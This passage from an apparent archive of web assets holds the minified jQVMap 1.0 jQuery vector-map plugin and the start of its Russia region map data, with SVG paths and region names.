.99","ye":"30.02","zm":"15.69","zw":"5.57"};js/jqvmap/jquery.vmap.min.js000060400000042267150710775200012072 0ustar00/*!
 * jQVMap Version 1.0 
 *
 * http://jqvmap.com
 *
 * Copyright 2012, Peter Schmalfeldt <manifestinteractive@gmail.com>
 * Copyright 2011-2012, Kirill Lebedev
 * Licensed under the MIT license.
 *
 * Fork Me @ https://github.com/manifestinteractive/jqvmap
 */
(function($){var apiParams={colors:1,values:1,backgroundColor:1,scaleColors:1,normalizeFunction:1,enableZoom:1,showTooltip:1,borderColor:1,borderWidth:1,borderOpacity:1,selectedRegion:1};var apiEvents={onLabelShow:'labelShow',onRegionOver:'regionMouseOver',onRegionOut:'regionMouseOut',onRegionClick:'regionClick'};$.fn.vectorMap=function(options){var defaultParams={map:'world_en',backgroundColor:'#a5bfdd',color:'#f4f3f0',hoverColor:'#c9dfaf',selectedColor:'#c9dfaf',scaleColors:['#b6d6ff','#005ace'],normalizeFunction:'linear',enableZoom:true,showTooltip:true,borderColor:'#818181',borderWidth:1,borderOpacity:0.25,selectedRegion:null},map;if(options==='addMap'){WorldMap.maps[arguments[1]]=arguments[2]}else if(options==='set'&&apiParams[arguments[1]]){this.data('mapObject')['set'+arguments[1].charAt(0).toUpperCase()+arguments[1].substr(1)].apply(this.data('mapObject'),Array.prototype.slice.call(arguments,2))}else{$.extend(defaultParams,options);defaultParams.container=this;this.css({position:'relative',overflow:'hidden'});map=new WorldMap(defaultParams);this.data('mapObject',map);for(var e in apiEvents){if(defaultParams[e]){this.bind(apiEvents[e]+'.jqvmap',defaultParams[e])}}}};var VectorCanvas=function(width,height,params){this.mode=window.SVGAngle?'svg':'vml';this.params=params;if(this.mode=='svg'){this.createSvgNode=function(nodeName){return document.createElementNS(this.svgns,nodeName)}}else{try{if(!document.namespaces.rvml){document.namespaces.add("rvml","urn:schemas-microsoft-com:vml")}this.createVmlNode=function(tagName){return document.createElement('<rvml:'+tagName+' class="rvml">')}}catch(e){this.createVmlNode=function(tagName){return document.createElement('<'+tagName+' xmlns="urn:schemas-microsoft.com:vml" class="rvml">')}}document.createStyleSheet().addRule(".rvml","behavior:url(#default#VML)")}if(this.mode=='svg'){this.canvas=this.createSvgNode('svg')}else{this.canvas=this.createVmlNode('group');this.canvas.style.position='absolute'}this.setSize(width,height)};VectorCanvas.prototype={svgns:"http://www.w3.org/2000/svg",mode:'svg',width:0,height:0,canvas:null,setSize:function(width,height){if(this.mode=='svg'){this.canvas.setAttribute('width',width);this.canvas.setAttribute('height',height)}else{this.canvas.style.width=width+"px";this.canvas.style.height=height+"px";this.canvas.coordsize=width+' '+height;this.canvas.coordorigin="0 0";if(this.rootGroup){var pathes=this.rootGroup.getElementsByTagName('shape');for(var i=0,l=pathes.length;i<l;i++){pathes[i].coordsize=width+' '+height;pathes[i].style.width=width+'px';pathes[i].style.height=height+'px'}this.rootGroup.coordsize=width+' '+height;this.rootGroup.style.width=width+'px';this.rootGroup.style.height=height+'px'}}this.width=width;this.height=height},createPath:function(config){var node;if(this.mode=='svg'){node=this.createSvgNode('path');node.setAttribute('d',config.path);if(this.params.borderColor!==null){node.setAttribute('stroke',this.params.borderColor)}if(this.params.borderWidth>0){node.setAttribute('stroke-width',this.params.borderWidth);node.setAttribute('stroke-linecap','round');node.setAttribute('stroke-linejoin','round')}if(this.params.borderOpacity>0){node.setAttribute('stroke-opacity',this.params.borderOpacity)}node.setFill=function(color){this.setAttribute("fill",color);if(this.getAttribute("original")===null){this.setAttribute("original",color)}};node.getFill=function(color){return this.getAttribute("fill")};node.getOriginalFill=function(){return this.getAttribute("original")};node.setOpacity=function(opacity){this.setAttribute('fill-opacity',opacity)}}else{node=this.createVmlNode('shape');node.coordorigin="0 0";node.coordsize=this.width+' '+this.height;node.style.width=this.width+'px';node.style.height=this.height+'px';node.fillcolor=WorldMap.defaultFillColor;node.stroked=false;node.path=VectorCanvas.pathSvgToVml(config.path);var scale=this.createVmlNode('skew');scale.on=true;scale.matrix='0.01,0,0,0.01,0,0';scale.offset='0,0';node.appendChild(scale);var fill=this.createVmlNode('fill');node.appendChild(fill);node.setFill=function(color){this.getElementsByTagName('fill')[0].color=color};node.getFill=function(color){return this.getElementsByTagName('fill')[0].color};node.setOpacity=function(opacity){this.getElementsByTagName('fill')[0].opacity=parseInt(opacity*100,10)+'%'}}return node},createGroup:function(isRoot){var node;if(this.mode=='svg'){node=this.createSvgNode('g')}else{node=this.createVmlNode('group');node.style.width=this.width+'px';node.style.height=this.height+'px';node.style.left='0px';node.style.top='0px';node.coordorigin="0 0";node.coordsize=this.width+' '+this.height}if(isRoot){this.rootGroup=node}return node},applyTransformParams:function(scale,transX,transY){if(this.mode=='svg'){this.rootGroup.setAttribute('transform','scale('+scale+') translate('+transX+', '+transY+')')}else{this.rootGroup.coordorigin=(this.width-transX)+','+(this.height-transY);this.rootGroup.coordsize=this.width/scale+','+this.height/scale}}};VectorCanvas.pathSvgToVml=function(path){var result='';var cx=0,cy=0,ctrlx,ctrly;return path.replace(/([MmLlHhVvCcSs])((?:-?(?:\d+)?(?:\.\d+)?,?\s?)+)/g,function(segment,letter,coords,index){coords=coords.replace(/(\d)-/g,'$1,-').replace(/\s+/g,',').split(',');if(!coords[0]){coords.shift()}for(var i=0,l=coords.length;i<l;i++){coords[i]=Math.round(100*coords[i])}switch(letter){case'm':cx+=coords[0];cy+=coords[1];return't'+coords.join(',');break;case'M':cx=coords[0];cy=coords[1];return'm'+coords.join(',');break;case'l':cx+=coords[0];cy+=coords[1];return'r'+coords.join(',');break;case'L':cx=coords[0];cy=coords[1];return'l'+coords.join(',');break;case'h':cx+=coords[0];return'r'+coords[0]+',0';break;case'H':cx=coords[0];return'l'+cx+','+cy;break;case'v':cy+=coords[0];return'r0,'+coords[0];break;case'V':cy=coords[0];return'l'+cx+','+cy;break;case'c':ctrlx=cx+coords[coords.length-4];ctrly=cy+coords[coords.length-3];cx+=coords[coords.length-2];cy+=coords[coords.length-1];return'v'+coords.join(',');break;case'C':ctrlx=coords[coords.length-4];ctrly=coords[coords.length-3];cx=coords[coords.length-2];cy=coords[coords.length-1];return'c'+coords.join(',');break;case's':coords.unshift(cy-ctrly);coords.unshift(cx-ctrlx);ctrlx=cx+coords[coords.length-4];ctrly=cy+coords[coords.length-3];cx+=coords[coords.length-2];cy+=coords[coords.length-1];return'v'+coords.join(',');break;case'S':coords.unshift(cy+cy-ctrly);coords.unshift(cx+cx-ctrlx);ctrlx=coords[coords.length-4];ctrly=coords[coords.length-3];cx=coords[coords.length-2];cy=coords[coords.length-1];return'c'+coords.join(',');break;default:return false;break}return''}).replace(/z/g,'')};var WorldMap=function(params){params=params||{};var map=this;var mapData=WorldMap.maps[params.map];this.container=params.container;this.defaultWidth=mapData.width;this.defaultHeight=mapData.height;this.color=params.color;this.hoverColor=params.hoverColor;this.setBackgroundColor(params.backgroundColor);this.width=params.container.width();this.height=params.container.height();this.resize();jQuery(window).resize(function(){map.width=params.container.width();map.height=params.container.height();map.resize();map.canvas.setSize(map.width,map.height);map.applyTransform()});this.canvas=new VectorCanvas(this.width,this.height,params);params.container.append(this.canvas.canvas);this.makeDraggable();this.rootGroup=this.canvas.createGroup(true);this.index=WorldMap.mapIndex;this.label=jQuery('<div/>').addClass('jqvmap-label').appendTo(jQuery('body'));if(params.enableZoom){jQuery('<div/>').addClass('jqvmap-zoomin').text('+').appendTo(params.container);jQuery('<div/>').addClass('jqvmap-zoomout').html('&#x2212;').appendTo(params.container)}map.countries=[];for(var key in mapData.pathes){var path=this.canvas.createPath({path:mapData.pathes[key].path});path.setFill(this.color);path.id='jqvmap'+map.index+'_'+key;map.countries[key]=path;jQuery(this.rootGroup).append(path);path.setAttribute('class','jqvmap-region');if(params.selectedRegion!==null){if(key.toLowerCase()==params.selectedRegion.toLowerCase()){path.setFill(params.selectedColor)}}}jQuery(params.container).delegate(this.canvas.mode=='svg'?'path':'shape','mouseover mouseout',function(e){var path=e.target,code=e.target.id.split('_').pop(),labelShowEvent=$.Event('labelShow.jqvmap'),regionMouseOverEvent=$.Event('regionMouseOver.jqvmap');if(e.type=='mouseover'){jQuery(params.container).trigger(regionMouseOverEvent,[code,mapData.pathes[code].name]);if(!regionMouseOverEvent.isDefaultPrevented()){if(params.hoverOpacity){path.setOpacity(params.hoverOpacity)}else if(params.hoverColor){path.currentFillColor=path.getFill()+'';path.setFill(params.hoverColor)}}if(params.showTooltip){map.label.text(mapData.pathes[code].name);jQuery(params.container).trigger(labelShowEvent,[map.label,code]);if(!labelShowEvent.isDefaultPrevented()){map.label.show();map.labelWidth=map.label.width();map.labelHeight=map.label.height()}}}else{path.setOpacity(1);if(path.currentFillColor){path.setFill(path.currentFillColor)}map.label.hide();jQuery(params.container).trigger('regionMouseOut.jqvmap',[code,mapData.pathes[code].name])}});jQuery(params.container).delegate(this.canvas.mode=='svg'?'path':'shape','click',function(e){for(var key in mapData.pathes){map.countries[key].currentFillColor=map.countries[key].getOriginalFill();map.countries[key].setFill(map.countries[key].getOriginalFill())}var path=e.target;var code=e.target.id.split('_').pop();jQuery(params.container).trigger('regionClick.jqvmap',[code,mapData.pathes[code].name]);path.currentFillColor=params.selectedColor;path.setFill(params.selectedColor)});if(params.showTooltip){params.container.mousemove(function(e){if(map.label.is(':visible')){map.label.css({left:e.pageX-15-map.labelWidth,top:e.pageY-15-map.labelHeight})}})}this.setColors(params.colors);this.canvas.canvas.appendChild(this.rootGroup);this.applyTransform();this.colorScale=new ColorScale(params.scaleColors,params.normalizeFunction,params.valueMin,params.valueMax);if(params.values){this.values=params.values;this.setValues(params.values)}this.bindZoomButtons();WorldMap.mapIndex++};WorldMap.prototype={transX:0,transY:0,scale:1,baseTransX:0,baseTransY:0,baseScale:1,width:0,height:0,countries:{},countriesColors:{},countriesData:{},zoomStep:1.4,zoomMaxStep:4,zoomCurStep:1,setColors:function(key,color){if(typeof key=='string'){this.countries[key].setFill(color);this.countries[key].setAttribute("original",color)}else{var colors=key;for(var code in colors){if(this.countries[code]){this.countries[code].setFill(colors[code]);this.countries[code].setAttribute("original",colors[code])}}}},setValues:function(values){var max=0,min=Number.MAX_VALUE,val;for(var cc in values){val=parseFloat(values[cc]);if(val>max){max=values[cc]}if(val&&val<min){min=val}}this.colorScale.setMin(min);this.colorScale.setMax(max);var colors={};for(cc in values){val=parseFloat(values[cc]);if(val){colors[cc]=this.colorScale.getColor(val)}else{colors[cc]=this.color}}this.setColors(colors);this.values=values},setBackgroundColor:function(backgroundColor){this.container.css('background-color',backgroundColor)},setScaleColors:function(colors){this.colorScale.setColors(colors);if(this.values){this.setValues(this.values)}},setNormalizeFunction:function(f){this.colorScale.setNormalizeFunction(f);if(this.values){this.setValues(this.values)}},resize:function(){var curBaseScale=this.baseScale;if(this.width/this.height>this.defaultWidth/this.defaultHeight){this.baseScale=this.height/this.defaultHeight;this.baseTransX=Math.abs(this.width-this.defaultWidth*this.baseScale)/(2*this.baseScale)}else{this.baseScale=this.width/this.defaultWidth;this.baseTransY=Math.abs(this.height-this.defaultHeight*this.baseScale)/(2*this.baseScale)}this.scale*=this.baseScale/curBaseScale;this.transX*=this.baseScale/curBaseScale;this.transY*=this.baseScale/curBaseScale},reset:function(){this.countryTitle.reset();for(var key in this.countries){this.countries[key].setFill(WorldMap.defaultColor)}this.scale=this.baseScale;this.transX=this.baseTransX;this.transY=this.baseTransY;this.applyTransform()},applyTransform:function(){var maxTransX,maxTransY,minTransX,minTransY;if(this.defaultWidth*this.scale<=this.width){maxTransX=(this.width-this.defaultWidth*this.scale)/(2*this.scale);minTransX=(this.width-this.defaultWidth*this.scale)/(2*this.scale)}else{maxTransX=0;minTransX=(this.width-this.defaultWidth*this.scale)/this.scale}if(this.defaultHeight*this.scale<=this.height){maxTransY=(this.height-this.defaultHeight*this.scale)/(2*this.scale);minTransY=(this.height-this.defaultHeight*this.scale)/(2*this.scale)}else{maxTransY=0;minTransY=(this.height-this.defaultHeight*this.scale)/this.scale}if(this.transY>maxTransY){this.transY=maxTransY}else if(this.transY<minTransY){this.transY=minTransY}if(this.transX>maxTransX){this.transX=maxTransX}else if(this.transX<minTransX){this.transX=minTransX}this.canvas.applyTransformParams(this.scale,this.transX,this.transY)},makeDraggable:function(){var mouseDown=false;var oldPageX,oldPageY;var self=this;this.container.mousemove(function(e){if(mouseDown){var curTransX=self.transX;var curTransY=self.transY;self.transX-=(oldPageX-e.pageX)/self.scale;self.transY-=(oldPageY-e.pageY)/self.scale;self.applyTransform();oldPageX=e.pageX;oldPageY=e.pageY}return false}).mousedown(function(e){mouseDown=true;oldPageX=e.pageX;oldPageY=e.pageY;return false}).mouseup(function(){mouseDown=false;return false})},bindZoomButtons:function(){var map=this;var sliderDelta=(jQuery('#zoom').innerHeight()-6*2-15*2-3*2-7-6)/(this.zoomMaxStep-this.zoomCurStep);this.container.find('.jqvmap-zoomin').click(function(){if(map.zoomCurStep<map.zoomMaxStep){var curTransX=map.transX;var curTransY=map.transY;var curScale=map.scale;map.transX-=(map.width/map.scale-map.width/ (map.scale * map.zoomStep)) /2;map.transY-=(map.height/map.scale-map.height/ (map.scale * map.zoomStep)) /2;map.setScale(map.scale*map.zoomStep);map.zoomCurStep++;jQuery('#zoomSlider').css('top',parseInt(jQuery('#zoomSlider').css('top'),10)-sliderDelta)}});this.container.find('.jqvmap-zoomout').click(function(){if(map.zoomCurStep>1){var curTransX=map.transX;var curTransY=map.transY;var curScale=map.scale;map.transX+=(map.width/(map.scale/ map.zoomStep) - map.width/map.scale)/2;map.transY+=(map.height/(map.scale/ map.zoomStep) - map.height/map.scale)/2;map.setScale(map.scale/map.zoomStep);map.zoomCurStep--;jQuery('#zoomSlider').css('top',parseInt(jQuery('#zoomSlider').css('top'),10)+sliderDelta)}})},setScale:function(scale){this.scale=scale;this.applyTransform()},getCountryPath:function(cc){return jQuery('#'+cc)[0]}};WorldMap.xlink="http://www.w3.org/1999/xlink";WorldMap.mapIndex=1;WorldMap.maps={};var ColorScale=function(colors,normalizeFunction,minValue,maxValue){if(colors){this.setColors(colors)}if(normalizeFunction){this.setNormalizeFunction(normalizeFunction)}if(minValue){this.setMin(minValue)}if(minValue){this.setMax(maxValue)}};ColorScale.prototype={colors:[],setMin:function(min){this.clearMinValue=min;if(typeof this.normalize==='function'){this.minValue=this.normalize(min)}else{this.minValue=min}},setMax:function(max){this.clearMaxValue=max;if(typeof this.normalize==='function'){this.maxValue=this.normalize(max)}else{this.maxValue=max}},setColors:function(colors){for(var i=0;i<colors.length;i++){colors[i]=ColorScale.rgbToArray(colors[i])}this.colors=colors},setNormalizeFunction:function(f){if(f==='polynomial'){this.normalize=function(value){return Math.pow(value,0.2)}}else if(f==='linear'){delete this.normalize}else{this.normalize=f}this.setMin(this.clearMinValue);this.setMax(this.clearMaxValue)},getColor:function(value){if(typeof this.normalize==='function'){value=this.normalize(value)}var lengthes=[];var fullLength=0;var l;for(var i=0;i<this.colors.length-1;i++){l=this.vectorLength(this.vectorSubtract(this.colors[i+1],this.colors[i]));lengthes.push(l);fullLength+=l}var c=(this.maxValue-this.minValue)/fullLength;for(i=0;i<lengthes.length;i++){lengthes[i]*=c}i=0;value-=this.minValue;while(value-lengthes[i]>=0){value-=lengthes[i];i++}var color;if(i==this.colors.length-1){color=this.vectorToNum(this.colors[i]).toString(16)}else{color=(this.vectorToNum(this.vectorAdd(this.colors[i],this.vectorMult(this.vectorSubtract(this.colors[i+1],this.colors[i]),(value)/(lengthes[i]))))).toString(16)}while(color.length<6){color='0'+color}return'#'+color},vectorToNum:function(vector){var num=0;for(var i=0;i<vector.length;i++){num+=Math.round(vector[i])*Math.pow(256,vector.length-i-1)}return num},vectorSubtract:function(vector1,vector2){var vector=[];for(var i=0;i<vector1.length;i++){vector[i]=vector1[i]-vector2[i]}return vector},vectorAdd:function(vector1,vector2){var vector=[];for(var i=0;i<vector1.length;i++){vector[i]=vector1[i]+vector2[i]}return vector},vectorMult:function(vector,num){var result=[];for(var i=0;i<vector.length;i++){result[i]=vector[i]*num}return result},vectorLength:function(vector){var result=0;for(var i=0;i<vector.length;i++){result+=vector[i]*vector[i]}return Math.sqrt(result)}};ColorScale.arrayToRgb=function(ar){var rgb='#';var d;for(var i=0;i<ar.length;i++){d=ar[i].toString(16);rgb+=d.length==1?'0'+d:d}return rgb};ColorScale.rgbToArray=function(rgb){rgb=rgb.substr(1);return[parseInt(rgb.substr(0,2),16),parseInt(rgb.substr(2,2),16),parseInt(rgb.substr(4,2),16)]}})(jQuery);
js/jqvmap/maps/jquery.vmap.russia.js000060400000463723150710775200013561 0ustar00/** Add Russia Map Data Points */
jQuery.fn.vectorMap('addMap','russia_en',{"width":959,"height":593,"pathes":{"da":{"path":"m34.939,403.74,2.6516,1.2627,3.6618,0.50507,1.7678-2.0203,2.1466,2.0203,2.3991-1.6415,0.25254-1.7678,1.6415-2.1466,3.0305,0.50508,3.7881-2.9042-0.50508-1.894-4.7982-0.50508,0.75762-3.1567-1.0102-0.63134,0.63135-2.2728-3.1567-2.7779,1.5152-0.50508,3.9143,0.88388,0-1.389-1.0102-1.2627,8.3338-0.25254,4.9245,5.4296,1.2627,1.894-0.37881,2.2728-5.3033-0.3788,0.50508,2.5254,1.5152,3.0304-1.0102,3.5355-2.3991,2.7779-1.2627,0.25254,4.5457,0.75761-5.5558,2.1466-0.50508,2.0203-0.75762,0.50508-3.0305,0.50507-0.25254,4.7982-1.2627,0.88388-1.1364,13.132-9.0914-0.12627-3.6618-2.2728-1.389-0.88388,0-11.617-3.283-5.9346,0.37881-2.9042,1.2627-0.37881z","name":"Republic of Dagestan"},"sa":{"path":"M671.25,126.75l-1.44,1.06-1.25,1.63s1.44,0.87,2.16,0.87c0.71,0,2.69-1.97,2.69-1.97l-2.16-1.59zm18.47,12.09c-0.18-0.01-0.4,0.02-0.63,0.07-1.78,0.35-4.81,1.93-4.81,1.93s-1.41,1.1-2.12,1.1c-0.72,0-2.35-0.38-2.35-0.38-0.71,0-2.5,1.25-2.5,1.25l-1.4,1.78s-1.1-0.51-1.1,0.38-0.35,1.96,0.72,2.5c1.07,0.53,1.61,1.06,2.5,1.06s3.22-0.72,3.22-0.72l1.97-0.87,1.97,1.06s0.51-0.9,1.4-1.44c0.9-0.53,3.4-2.31,3.75-3.03,0.36-0.71,0.72-3.22,0.72-3.22s-0.11-1.36-1.34-1.47zm-19.81,7.1c-0.15,0.01-0.29,0.05-0.44,0.09-1.25,0.36-2.85,0.19-3.56,0.19-0.72,0-0.91,0.19-0.91,0.19s-0.88,1.58-1.59,1.93c-0.72,0.36-1.99,0.74-3.07,0.57-1.07-0.18-3.75-1.25-3.75-1.25s-1.93-0.02-1.93,1.59,3.03,3.41,3.03,3.41l1.06,1.4s-2.51,0.73-3.41,0.38c-0.89-0.36-2.65-2.16-2.65-2.16l-3.22-0.72s-2.88,0.2-2.88,1.1c0,0.89-0.68,2.67-0.68,3.56s-0.9,3.04,0.53,3.94c1.43,0.89,1.79,3.03,1.97,3.75,0.17,0.71,0.7,1.77,2.84,2.31,2.14,0.53,4.29,0.53,5,1.06,0.71,0.54,1.77,1.07,2.84,0.53,1.08-0.53,1.82-2.65,1.82-2.65l2.12-1.97s1.61-1.44,2.5-2.16c0.89-0.71,2.7-0.54,4.13-1.44,1.42-0.89,2.31-3.75,2.31-3.75v-5l-0.38-4.43s-0.68-0.58-1.68-0.47zm106.25,5.62c-0.45,0.09-0.75,4.1-0.75,4.1l-7.32,1.65-3.28,0.63-4.53-6.06-7.84-0.13-0.38,0.87-5.68,1.66-1.76,2.13-6.06,6.31v2.78l-2.15,1.91-3.29,5.03-4.93-2.38-3.41-0.37-1.75,2h-4.56l-3.41,1.78-1.75-1.53,4.28-2.91-2.28-1.62-3.03-0.13-8.84,4.03,1.9,5.44-0.87,4.78-2.66,2.91-1.65-2.13,3.03-7.47-1.75-0.37-2.66,4.03-3.03,2.03-1-0.75,1-3.16,2.28-0.74,2.91-2.66-7.1,1.75-9.22,5.31-6.68,0.25,3.65,3.66-3.65,3.4-0.5,3.03,0.37,1.16,3.91-1.78-1,4.03,4.81,2.91-0.91,2.9-2-1.37-3.68,1,1.28,3.41,2.4-0.26-1.03,2.66-3.9-0.5-4.28-1.66-3.53,0.26-2.41,3.15-0.63,4.06h-6.46l-1.76-1.53-2.4-2-0.5,4.41,0.87,0.87-0.12,1.41,1.65,0.87-0.9,2.54,1.66,6.18-3.29-1.4-1,1.15-9.87-5.31v-4.94l-2.25,0.13-1.78,2.41-2-3.41,3.65-0.63-0.5-2.9-4.43-1.66,0.75-0.87,0.12-2.53-5.28-4.04-5.31-2.53-1,3.66-7.35,0.65-2.37-1.65-4.19,2.15v2.13l4.19,4.69-10.94,5.31-10.28-1.16,0.44-4.4-12.07,0.19-3.96,3.78h-2.85l-1.09,1.09,2.66,2.87h-2.13l-2.91-2.06,1.19-2.09-0.87-1.38-1.54-1.78,0.07,2.28-1.5,1.07-3.85-1.32s-2.9,3.53-2.84,3.78c0.06,0.26,2.66,3.29,2.66,3.29l-1.41,3.34,1.59,2.09,0.19,2.78,7.38,5.82-0.32,5.47,2.53,1.9,1.63,2.53-2.53,2.72-4.41,3.03-0.69,2.63-4.81,2.78,0.25,6.12-2.25,1.1-2.97-1.28-5.65,4.75-4.44,0.09,0.06,1.97,5.38,6.59,1.78,20.1-6.35,1.97,4.19,3.4-1.78,4.19v1.25l7.16,8.84-4.57,6.69,0.97,1.6-2.4,1.87,0.09,2.25,5.63,0.34,0.71,0.72,9.1,0.19,3.31,3.31-0.53,1.6-3.31,0.34,0.19,3.94,4.03-1.06,5.06,6.59-0.53,5.53,3.84,5.19-1.97,3.4,0.53,2.13,7.69,6.53v4.37l-3.75,6.44,0.28,10.78,3.85,4.13,3.37-3.94,3.75,0.09,1.88-1.34,2.68-0.62,2.41-2.07,3.56,3.85,0.38,2.31,4-5.06,0.09-4.13,5.38-2.75-0.29-6.25,2.32-4.12,3.84-1.5,4.91,1.06,6.15,4.91,0.57,3.84,1.31,0.87,4.03-1.4,2.5-2.06,2.69,1.06,0.87,4.47,3.13,4.56,2.15,1.78v3.03l2.32,1.35,0.71,4.71,3.94,0.19,0.97,1.35,1.53,4.09,8.38-0.25,3.31-1.97,5.53,1.16,3.56,1.97,11-0.72,5.54,3.75,2.21,0.53,5.19-2.6h2.6l3.03,2.26,2.78-0.19,3.22-3.94,5.68-0.06,2.5-1.97h7.88l0.19-3.75,10.68-5.09,0.82-3.04-4.28-4.12,2.31-1.69,0.62-4.03-1.34-1.69-2.41,0.38-2.03-1.44,2.75-4.03-2.84-1.6,0.25-1.87,1.53-1.97-1.44-1.44-3.47-1.15-0.53-1.6,3.38-1.43-1.88-0.91-0.19-5.25-0.87-0.62-0.19-1.88,2.78-1.25-1.62-1.25v-2.94l5.47-1.97,3.12,0.16,0.25-1.78,6.53,0.09v-2.75l-1.25-1.53,1.16-1.25,3.47-0.62,3.31-2.22,1.34-6,5-0.44,0.1-2.06s-5.29-4.9-5.47-5.25c-0.18-0.36-0.88-3.94-0.88-3.94l-3.56-2.59v-5.97l2.94-7.16-1.69-9.19,0.78-3.12,13.5,0.72,0.25-5.28,5.19-1.16,3.47,1.87,0.81-2.31-2.41-3.69,1.69-0.62,0.19-2.75-7.16-8.5,0.1-4.37-3.13-1.5-0.09-4.04-1.78-1.15,1.09-2.13,3.81-0.47,1.35-1.78,4.28,0.38,0.09-2.44-3.37-1.5,0.15-3.31,5.47-0.53v-3.57l5.63,0.44,5.62-8.03,0.44-2.5-6.06-6.06-0.19-1.88,2.31-3.4-0.97-1.79-3.31,0.19-1.5-2.34,4.72-1.41-0.09-1.53-2.07-0.97-0.25-1.34,2.13-3.75,5.72-1.97-0.78-3.56,5.15,0.68-0.62-5.43,1.34,0.28,0.19-3.59-2.69-0.63-2.94-4.53-7.59-0.28-4.19-1.88,0.72-3.47h-3.12l-0.19-1.62,8.12-10.44,1.07-7.84s-9.81-5.72-10.25-5.63zm-135.1,8.56c-0.12,0.03-0.23,0.08-0.34,0.19-0.89,0.9-1.07,1.79-0.53,2.5,0.53,0.72,1.06,1.63,1.78,2.35,0.71,0.71,2.31,1.25,2.31,1.25s0.71-1.1,0.53-1.82c-0.18-0.71-1.97-2.84-1.97-2.84s-0.94-1.78-1.78-1.63zm28.94,7.35l-2.31,0.34s-1.07,0.91-1.25,1.63c-0.18,0.71-0.9,1.24,0,1.78,0.89,0.53,3.75,1.25,3.75,1.25s1.6-0.02,1.78,0.87c0.18,0.9,0.18,1.8,0,2.69s-0.53,1.78-0.53,1.78l0.72,0.72,1.93-0.53s0.74-0.72,1.82-0.72h2.65s1.44-0.53,1.97-1.25c0.54-0.71,1.97-1.25,1.97-1.25h2.69s1.41-0.52,0.87-1.59c-0.53-1.07-1.76-1.62-2.65-2.16-0.9-0.53-3.22-2.31-3.22-2.31h-2.5l-3.6,0.34-2.84,0.38-1.25-1.97zm-17,10.15c-0.12,0-0.22,0.01-0.31,0.04-0.72,0.17-1.44,1.4-1.44,1.4s0.37,1.78,2.16,1.78c1.78,0,2.3,0.55,2.65-0.34,0.36-0.89-0.87-2.31-0.87-2.31s-1.37-0.55-2.19-0.57z","name":"Sakha Republic"},"so":{"path":"m45.583,387.43-2.2728,2.6516-4.1669-2.6516-2.0203,1.1364-0.37881,5.8084-1.1364,1.389-2.2728-0.12627-5.9346-2.6516-3.0305-3.283,0.12627-4.9245,4.672,0.75761,0.37881-0.88388,2.5254-0.12627,3.283,1.5152,4.0406-1.894s-0.12627-3.5355,0.75761-2.7779c0.88388,0.75762,1.389,1.2627,1.389,1.2627l0.25254,3.5355z","name":"Republic of North Ossetia–Alania"},"kb":{"path":"m20.982,375.86c0.26786,0.35715,2.5893,4.7322,2.5893,4.7322l0.98214,3.9286,4.6429,1.1607,2.8571-1.0714,3.2143,1.5179,4.375-1.875,0.26786-3.125-5.9821-2.3214-1.875-5.0893-2.2321-1.1607-4.375,0.71429z","name":"Kabardino-Balkar Republic"},"kc":{"path":"m13.482,361.39,2.2321,8.4821,5.0893,6.25,4.375-2.6786,5.3571-0.89286,0.08929-3.3928,3.75-1.0714-6.6964-7.2321-2.2321,2.4107-2.8571,0.26786-1.6071-4.5536,0.44643-2.1429z","name":"Karachay–Cherkess Republic"},"st":{"path":"m33.929,367.73-3.4821,0.98215,0.17857,3.75,1.5179,1.25,1.7857,4.6428,6.5179,3.0357,1.3393,1.3393,0.08929,3.0357,3.8393,1.7857,1.6071,2.5893,3.2143,0.625,0.71429-1.4286-2.8571-3.125,1.5179-0.53572,3.5714,0.80357,0.17857-1.1607-0.98214-1.3393,7.7679-0.0893,1.6964-1.5179,0.26786-3.5714-5.2679-7.5-0.17857-9.4643-3.4821-6.0714-4.9107-0.98214-1.5179-2.7679-5.0893-5.7143-0.98214-0.625-1.5179,1.3393-2.7679-2.0536-1.4286,0.80357-0.80357,1.0714-0.08929,1.6071,0.35714,1.3393,0.35714,1.1607-0.71429,1.6071-0.98214,1.4286-1.9643,2.2322-1.875,1.0714-0.71428,0.98214-0.98214,2.3214z","name":"Stavropol Krai"},"ks":{"path":"m21.607,356.48-0.08929,2.0536,0.98214,3.8393,0.35714,0.80357,2.2321,0.0893,3.75-4.5536,1.4286-1.9643,1.9643-1.0714,2.6786-4.0178-0.26786-3.3929,0.17857-1.6964,0.89286-1.5179,1.3393,0,1.7857,1.5179,1.3393,0,2.5893-3.0357,0.08929-1.9643-0.89286-0.98214-2.2321-1.3393,0.17857-2.9464,2.8571-3.125,0.08929-1.4286-2.7679-2.9464-3.75-0.71428-0.80357-0.89286,1.6071-1.25,0.17857-2.4107-2.1429-1.6072-2.5893-0.80357-1.6071-1.6964-1.25-0.98214-0.89286-0.0893-1.3393,2.2322-0.625,0.98214,1.0714,1.4286-0.35714,1.5179-0.80357,0.625-2.7679-0.26786-0.89286-0.89286-1.9643,0.0893-1.875,0.71429-3.0357,1.7857-1.6964,0-1.3393-1.4286-1.6071-0.625-1.1607-1.4286,0-2.6786-2.2321-0.26786-1.25,0.625-0.35714,2.9464-0.089286,13.214,0.71429,5.8929,0.98214,3.6607-0.089286,2.3214-0.625,2.7679-0.089286,2.4107,0.17857,2.0536,1.5179,0.89285,0.71429,0.625,1.6071,1.5179,0.89286,1.0714,0.89286,0.89286l7.947-4.27-0.804-1.25-0.357-1.43-5.089,2.68h-1.875l-1.25-1.875,0.35714-3.5714,6.25-1.4286,2.7679-2.3214,0.71429-2.5893-1.3393-0.80357-1.9643,0.44642-1.1607-1.5178-0.71429-2.6786-1.3393-1.7857-0.17857-1.25,0.08929-1.1607,1.3393-0.80357,1.3393,0.625,1.0714,1.3393,1.0714,1.9643,1.3393,1.7857,2.3214,1.3393,1.6964,0.89285s0.625,0.26786,0.71429,0.625c0.08929,0.35715,0.89286,2.6786,0.89286,2.6786v4.0178l-0.08929,1.3393-1.0714,1.0714-1.875,1.5178-1.6071,1.4286z","name":"Krasnodar 